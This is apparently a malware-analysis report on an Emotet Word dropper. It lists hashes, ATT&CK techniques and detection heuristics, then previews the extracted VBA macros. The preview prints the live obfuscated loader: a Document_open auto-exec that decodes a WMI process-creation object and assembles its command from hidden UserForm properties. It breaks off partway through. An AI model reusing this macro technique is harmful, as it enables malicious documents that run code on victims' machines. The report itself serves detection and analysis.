Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 7cc6d5a6330688e0…

MALICIOUS

Office (OLE)

174.9 KB Created: 2020-07-23 18:41:00 Authoring application: Microsoft Office Word First seen: 2020-08-10
MD5: da20b2dd780f1fd677465123adfec8d6 SHA-1: d3c77dc02469709e2ccaa79b2fe83a7aa4e2bb52 SHA-256: 7cc6d5a6330688e0bc44f1a92cffc9933d121ead8101b547888e7089f5e4a0df
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains VBA macros, including a Document_Open macro and a UserForm hidden-property command stager, which are indicative of Emotet. The ClamAV detection also explicitly names Emotet. The VBA code likely executes a second-stage payload by leveraging CreateObject and obfuscated string manipulation.

Heuristics 7

  • ClamAV: Doc.Dropper.EmotetIOS-9402070-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.EmotetIOS-9402070-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 12187 bytes
SHA-256: 1ed4fa07008a66dba464c6e02b684a3f7a6d7b958a27fbcdf686e4e4267acbd3
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "kifwitqueztheat"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
wevviozrup
End Sub


Attribute VB_Name = "mirfoibreiv"
Attribute VB_Base = "0{4D2C7183-D8F1-4CEF-960A-A474ED754732}{CF322001-5C78-424D-9DE6-CD8311BCBE8B}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "pooquroepchez"
Function wevviozrup()
theivyoewver = Chr(mirfoibreiv.Zoom + (450 / 30))
Dim stARYFOuT 'XOX
stARYFOuT = Replace$("oClwoC", "oCl", "Mfa")
deozhefpuquzeex = "832y2gbjkG&588((((0329y2yHGUI7qwv832y2gbjkG&588((((0329y2yHGUI7qwvw832y2gbjkG&588((((0329y2yHGUI7qwvi832y2gbjkG&588((((0329y2yHGUI7qwvnm832y2gbjkG&588((((0329y2yHGUI7qwv832y2gbjkG&588((((0329y2yHGUI7qwvgm832y2gbjkG&588((((0329y2yHGUI7qwvt832y2gbjkG&588((((0329y2yHGUI7qwv832y2gbjkG&588((((0329y2yHGUI7qwv" + theivyoewver + "832y2gbjkG&588((((0329y2yHGUI7qwv832y2gbjkG&588((((0329y2yHGUI7qwv:832y2gbjkG&588((((0329y2yHGUI7qwvw832y2gbjkG&588((((0329y2yHGUI7qwvin832y2gbjkG&588((((0329y2yHGUI7qwv832y2gbjkG&588((((0329y2yHGUI7qwv3832y2gbjkG&588((((0329y2yHGUI7qwv2832y2gbjkG&588((((0329y2yHGUI7qwv_832y2gbjkG&588((((0329y2yHGUI7qwv" + mirfoibreiv.guafteir + "832y2gbjkG&588((((0329y2yHGUI7qwvro832y2gbjkG&588((((0329y2yHGUI7qwv832y2gbjkG&588((((0329y2yHGUI7qwvce832y2gbjkG&588((((0329y2yHGUI7qwvs832y2gbjkG&588((((0329y2yHGUI7qwvs832y2gbjkG&588((((0329y2yHGUI7qwv"
Dim qbmqjX6Ý 'XOX
qbmqjX6Ý = Replace$("KR6âZJ1ÈjSrovBeQcyqeI", "KR6âZJ1ÈjSro", "fM6Ô7Ïqf")
koichzouyxam = xaeyquiak(deozhefpuquzeex)
Dim GULahwG 'XOX
GULahwG = Replace$("aXpVIjEADVaciyY", "aXpVIjEAD", "y5ÞDpRmild")
Set tiaxtuupmoah = CreateObject(koichzouyxam)
Dim bhb 'XOX
bhb = Len("r6ÕYI8ËT8Ôds")
cuychuaqu = mirfoibreiv.xoikvoothseutfaen.ControlTipText
Dim LVaTGhD0åm 'XOX
LVaTGhD0åm = 6
Do While LVaTGhD0åm < 6 + 8
LVaTGhD0åm = LVaTGhD0åm + 4: DoEvents
Loop
yuagcuuxquaun = koichzouyxam + theivyoewver + mirfoibreiv.daewvakcheeb.ControlTipText + cuychuaqu
Dim pvc6ÛhaN 'XOX
pvc6ÛhaN = 1
Do While pvc6ÛhaN < 1 + 5
pvc6ÛhaN = pvc6ÛhaN + 9: DoEvents
Loop
peechkiy = yuagcuuxquaun + mirfoibreiv.guafteir
Dim JmY6Ø 'XOX
JmY6Ø = 2
Do While JmY6Ø < 2 + 5
JmY6Ø = JmY6Ø + 1: DoEvents
Loop
Set joibnex = noupkaisjoup(peechkiy)
Dim LPI 'XOX
LPI = Replace$("OwmlbcTmg3ÉfD6å", "OwmlbcT", "PuE6Ù")
dvse = Array("xxxxxxx", tiaxtuupmoah. _
Create(foogcheebbaupmuam, quiacluadroequtax, joibnex), "yyyyyyyy")
Dim BMQKvYs 'XOX
BMQKvYs = Replace$("UKKCRXkNjtcYwy", "UKKCRX", "Xa1ÈRSYp")
End Function
Function noupkaisjoup(fuuvyoowwozkeaz)
Set noupkaisjoup = CreateObject(fuuvyoowwozkeaz)
Dim rRPD 'XOX
rRPD = Replace$("HlWD8ße8yOsg", "HlW", "QFEttRXR")
noupkaisjoup.showwindow = (kaedzeedpoum + zuagxaigbeup) + (gookjaejqueg + yuuvniodcheihfooh)
Dim d5ÒBUPDf3Âk 'XOX
d5ÒBUPDf3Âk = 6
Do While d5ÒBUPDf3Âk < 6 + 2
d5ÒBUPDf3Âk = d5ÒBUPDf3Âk + 3: DoEvents
Loop
End Function
Function xaeyquiak(ruuxmeethcud)
govcuhchaemsib = ruuxmeethcud
Dim gVUvKCRX 'XOX
gVUvKCRX = Replace$("DgQNfSYpvd", "DgQNf", "yOtgIcYb")
vaiyceixchaez = Split(govcuhchaemsib, "832y2gbjkG&588((((0329y2yHGUI7qwv")
Dim SUvTdi 'XOX
SUvTdi = Len("bOLHKnZlGA")
cheappeaqu = cdwer + Join(vaiyceixchaez, t)
Dim DjtqQNon 'XOX
DjtqQNon = Replace$("WIUnikuEkJesbXa1Ð6ÁWQS", "WIUnikuEkJ", "yTmL8É4ËF")
xaeyquiak = cheappeaqu
Dim B1mPAvPu 'XOX
B1mPAvPu = 2
Do While B1mPAvPu < 2 + 9
B1mPAvPu = B1mPAvPu + 7: DoEvents
Loop
End Function
Function foogcheebbaupmuam()
vfd = mirfoibreiv.xoemvaihraof.Pages(12 / 12).ControlTipText
Dim aShaq 'XOX
aShaq = 4
Do While aShaq < 4 + 1
aShaq = aShaq + 9: DoEvents
Loop
foogcheebbaupmuam = xaeyquiak(vfd)
Dim lccTipGOf 'XOX
lccTipGOf = Replace$("QNonddikqkuEkJrR2Ü", "QNonddikq", "oesjWQShR")
End F
... (truncated)